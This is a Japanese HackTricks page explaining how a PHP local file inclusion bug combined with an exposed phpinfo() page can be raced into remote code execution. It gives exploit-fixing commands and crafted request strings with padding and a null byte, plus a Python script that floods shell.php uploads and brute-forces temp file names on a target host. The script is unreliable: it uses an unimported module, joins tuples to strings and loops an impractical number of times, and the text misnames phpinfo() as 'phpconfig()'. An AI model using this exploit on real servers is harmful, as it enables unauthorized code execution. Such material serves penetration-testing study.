tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
この脆弱性を悪用するには、次のものが必要です: LFI脆弱性、phpinfo()が表示されるページ、"file_uploads = on"、およびサーバーが"/tmp"ディレクトリに書き込むことができること。
https://www.insomniasec.com/downloads/publications/phpinfolfi.py
チュートリアル HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
エクスプロイトを修正する必要があります(**=>を=>**に変更)。そのためには、次のようにできます:
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
あなたは、エクスプロイトの最初にあるpayloadも変更する必要があります(例えば、php-rev-shell用)、REQ1(これはphpinfoページを指し、パディングが含まれている必要があります、すなわち:REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1)、およびLFIREQ(これはLFI脆弱性を指す必要があります、すなわち:LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r -- null charを悪用する際のダブル"%"に注意してください)
理論
PHPでアップロードが許可されている場合、ファイルをアップロードしようとすると、このファイルはサーバーがリクエストの処理を完了するまで一時ディレクトリに保存され、その後この一時ファイルは削除されます。
次に、ウェブサーバーにLFI脆弱性が見つかった場合、一時ファイルの名前を推測し、そのファイルにアクセスしてRCEを悪用することができます。
Windowsでは、ファイルは通常C:\Windows\temp\phpに保存されます。
Linuxでは、ファイルの名前はランダムで、/tmpにあります。名前がランダムであるため、一時ファイルの名前をどこかから抽出する必要があり、削除される前にアクセスする必要があります。これは、関数"phpconfig()"の内容内で変数$_FILESの値を読み取ることで行うことができます。
phpinfo()
PHPは4096Bのバッファを使用し、満杯になると、クライアントに送信されます。次に、クライアントは大きなリクエストをたくさん送信(大きなヘッダーを使用)し、phpリバースシェルをアップロードし、phpinfo()の最初の部分が返されるのを待ち(一時ファイルの名前が含まれている場所)、LFI脆弱性を悪用してphpサーバーがファイルを削除する前に一時ファイルにアクセスしようとします。
名前をブルートフォースするためのPythonスクリプト(長さ=6の場合)
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。